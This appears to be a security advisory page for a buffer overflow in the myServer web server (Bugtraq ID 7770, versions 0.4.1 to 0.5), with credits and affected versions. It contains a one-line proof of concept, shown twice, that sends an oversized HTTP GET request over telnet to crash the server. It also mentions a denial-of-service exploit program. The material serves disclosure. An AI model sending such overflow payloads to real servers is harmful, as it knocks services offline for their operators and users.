myServer HTTP GET Argument Buffer Overflow Vulnerability
BID:7770
Info
myServer HTTP GET Argument Buffer Overflow Vulnerability
| Bugtraq ID: | 7770 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 02 2003 12:00AM |
| Updated: | Jun 02 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to gr00vy <[email protected]>. This vulnerability was also independently discovered by badpack3t. |
| Vulnerable: |
myServer myServer 0.5 myServer myServer 0.4.3 myServer myServer 0.4.2 myServer myServer 0.4.1 |
| Not Vulnerable: | |
Exploit / POC
myServer HTTP GET Argument Buffer Overflow Vulnerability
The following proof of concept has been submitted:
$ echo "GET /`perl -e 'printf "A"x4100'`" | telnet example.com 80
Trying 127.0.0.1...
Connected to example.com.
Escape character is '^]'.
Connection closed by foreign host.
An exploit program (sp-myserver0.5-dos.c) has also been made available by badpack3t and is available below.
The following proof of concept has been submitted:
$ echo "GET /`perl -e 'printf "A"x4100'`" | telnet example.com 80
Trying 127.0.0.1...
Connected to example.com.
Escape character is '^]'.
Connection closed by foreign host.
An exploit program (sp-myserver0.5-dos.c) has also been made available by badpack3t and is available below.